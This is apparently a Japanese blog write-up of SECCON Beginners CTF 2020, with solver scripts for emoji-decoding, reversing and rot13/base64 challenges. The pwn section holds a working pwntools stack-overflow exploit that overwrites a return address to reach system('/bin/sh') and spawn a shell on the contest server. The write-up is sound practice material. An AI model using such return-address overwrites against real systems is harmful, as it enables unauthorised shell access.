kanyewest CTF

勉強したことをメモしています。

Beginners CTF 2020【Write up】

Misc

welcome

emoemoencode

emoemoencode.txtとして以下の文字列が渡されます。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

これがそのままFlagになることを考えると、🍣🍴🍦🌴🍢🍻はctf4b{になると考えられます。

そこでWikipediaUnicodeのEmojiを見てみると、🍡(U+1F361)をaとしていることに気づいたのであとはプログラムを作成して求めるだけです。

s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"

res = ''
k = int(0x1F361)
for i in s:
    value = ord(i) - k + 97
    res += chr(value)
print(res)
% python3 solve.py
ctf4b{stegan0graphy_by_em000000ji}

pwn

Beginner’s Stack

$ file chall 
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
$ checksec.sh --file=./chall 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   74 Symbols     No       02./chall

BOFがあり、さらに親切にsystem関数と"/bin/sh"も用意されているので簡単です。

from pwn import *

e = ELF('./chall')
p = remote('bs.quals.beginners.seccon.jp',9001)
ret_addr = 0x00400626

payload = 'A'* 40
payload += p64(0x04008c4)

p.sendline(payload)
p.interactive()
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Reversing

mask

stringsコマンドを実行してみると

$ strings mask 
/lib64/ld-linux-x86-64.so.2
7-2c
libc.so.6
strcpy
puts
__stack_chk_fail
strlen
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u3UH
[]A\A]A^A_
Usage: ./mask [FLAG]
Putting on masks...
atd4`qdedtUpetepqeUdaaeUeaqau
c`b bk`kj`KbababcaKbacaKiacki
Correct! Submit your FLAG.
Wrong FLAG. Try again.
;*3$"
GCC: (Arch Linux 9.3.0-1) 9.3.0
init.c
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7393
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
mask.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
strcpy@@GLIBC_2.2.5
puts@@GLIBC_2.2.5
_edata
strlen@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment

atd4`qdedtUpetepqeUdaaeUeaqauc`b bk`kj`KbababcaKbacaKiackiいう怪しい文字列があることがわかります。

さらにGhidraでデコンパイルしてみてみると

f:id:tekashi:20200523172935p:plain

入力を1文字ずつ0x75とAND演算させた結果を格納している文字列と0xebと1文字ずつAND演算させた結果を格納している文字列の2つを作っていて、それぞれがatd4`qdedtUpetepqeUdaaeUeaqauc`b bk`kj`KbababcaKbacaKiackiを一致していれば正しい入力であるという処理がされていることがわかります。

なので総当りでAND演算させて一致しているものを取り出せばいいのですが必ずしも一意ではないので0x75と0xebの結果の共通部分を取り出すことにしました。

s1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
s2 = "c`b bk`kj`KbababcaKbacaKiacki"

res = ''
d1 = []
for i in range(len(s1)):
    for j in range(48,126):
        if chr(j & 0x75) == s1[i]:
            res += chr(j)
    d1.append(res)
    res = ''
d2 = []
for i in range(len(s2)):
    for j in range(48,126):
        if chr(j & 0xeb) == s2[i]:
            res += chr(j)
    d2.append(res)
    res = ''

res = ''
for i in range(len(d1)):
    res += list(set(d1[i]) & set(d2[i]))[0]
print(res)
$ python solve.py 
ctf4b{dont_reverse_face_mask}

Crypto

R&B

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

というプログラムを用いて文字列をencodeしているようです。

プログラムからFORMATというRとBが羅列している文字列を用いてRのときはRを先頭につけてrot13でエンコード、BのときはBをつけてbase64エンコードしているだけなので逆の処理を行うだけです。

FLAG = 'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while True:
    print(FLAG)
    if FLAG[0] != 'B' and FLAG[0] != 'R':
        break
    if FLAG[0] == 'B':
        FLAG = FLAG[1:].decode('base64')
    if FLAG[0] == 'R':
        FLAG = FLAG[1:].decode('rot13')
print FLAG
$ python solve.py 
ctf4b{rot_base_rot_base_rot_base_base}